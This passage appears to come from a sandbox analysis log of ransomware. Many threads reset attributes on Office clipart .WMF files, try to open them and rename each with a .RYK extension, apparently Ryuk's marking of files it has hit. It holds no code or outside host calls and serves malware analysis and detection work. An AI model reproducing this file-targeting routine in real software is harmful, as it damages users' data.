	[0240.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2102
	os_tid = 0x267c

	[0240.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF", dwFileAttributes=0x80) returned 0
	[0240.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.639] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2103
	os_tid = 0x2680


Thread:
	id = 2104
	os_tid = 0x2684

	[0240.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF", dwFileAttributes=0x80) returned 0
	[0240.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.777] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2105
	os_tid = 0x2688

	[0240.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF", dwFileAttributes=0x80) returned 0
	[0240.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.779] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2106
	os_tid = 0x268c

	[0240.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF", dwFileAttributes=0x80) returned 0
	[0240.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.781] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2107
	os_tid = 0x2690

	[0240.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF", dwFileAttributes=0x80) returned 0
	[0240.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.973] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2108
	os_tid = 0x2694

	[0240.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF", dwFileAttributes=0x80) returned 0
	[0240.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.972] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.972] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2109
	os_tid = 0x2698

	[0240.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF", dwFileAttributes=0x80) returned 0
	[0240.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.971] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2110
	os_tid = 0x269c

	[0240.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF", dwFileAttributes=0x80) returned 0
	[0240.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.969] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2111
	os_tid = 0x26a0

	[0240.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF", dwFileAttributes=0x80) returned 0
	[0240.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.968] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2112
	os_tid = 0x26a4

	[0240.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF", dwFileAttributes=0x80) returned 0
	[0240.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.967] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.967] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2113
	os_tid = 0x26a8

	[0240.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF", dwFileAttributes=0x80) returned 0
	[0240.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.965] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2114
	os_tid = 0x26ac

	[0240.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF", dwFileAttributes=0x80) returned 0
	[0240.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.880] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.880] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2115
	os_tid = 0x26b0

	[0240.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF", dwFileAttributes=0x80) returned 0
	[0240.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.881] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2116
	os_tid = 0x26b4

	[0240.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF", dwFileAttributes=0x80) returned 0
	[0240.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.883] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2117
	os_tid = 0x26b8

	[0240.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF", dwFileAttributes=0x80) returned 0
	[0240.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.886] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2118
	os_tid = 0x26bc

	[0240.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF", dwFileAttributes=0x80) returned 0
	[0240.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.067] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2119
	os_tid = 0x26c0

	[0240.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF", dwFileAttributes=0x80) returned 0
	[0240.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.065] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2120
	os_tid = 0x26c4

	[0240.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF", dwFileAttributes=0x80) returned 0
	[0240.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.064] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2121
	os_tid = 0x26c8

	[0240.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF", dwFileAttributes=0x80) returned 0
	[0240.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.063] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2122
	os_tid = 0x26cc

	[0240.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF", dwFileAttributes=0x80) returned 0
	[0240.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.061] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.061] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2123
	os_tid = 0x26d0

	[0240.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF", dwFileAttributes=0x80) returned 0
	[0240.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.896] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.896] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2124
	os_tid = 0x26d4

	[0240.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF", dwFileAttributes=0x80) returned 0
	[0240.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.060] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.060] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2125
	os_tid = 0x26d8

	[0240.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF", dwFileAttributes=0x80) returned 0
	[0240.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.058] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2126
	os_tid = 0x26dc

	[0240.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF", dwFileAttributes=0x80) returned 0
	[0240.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.057] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2127
	os_tid = 0x26e0

	[0240.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF", dwFileAttributes=0x80) returned 0
	[0240.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.979] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0240.979] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2129
	os_tid = 0x26ec

	[0240.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF", dwFileAttributes=0x80) returned 0
	[0241.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.147] CloseHandle (hObject=0xffffffffffffffff) returned 0
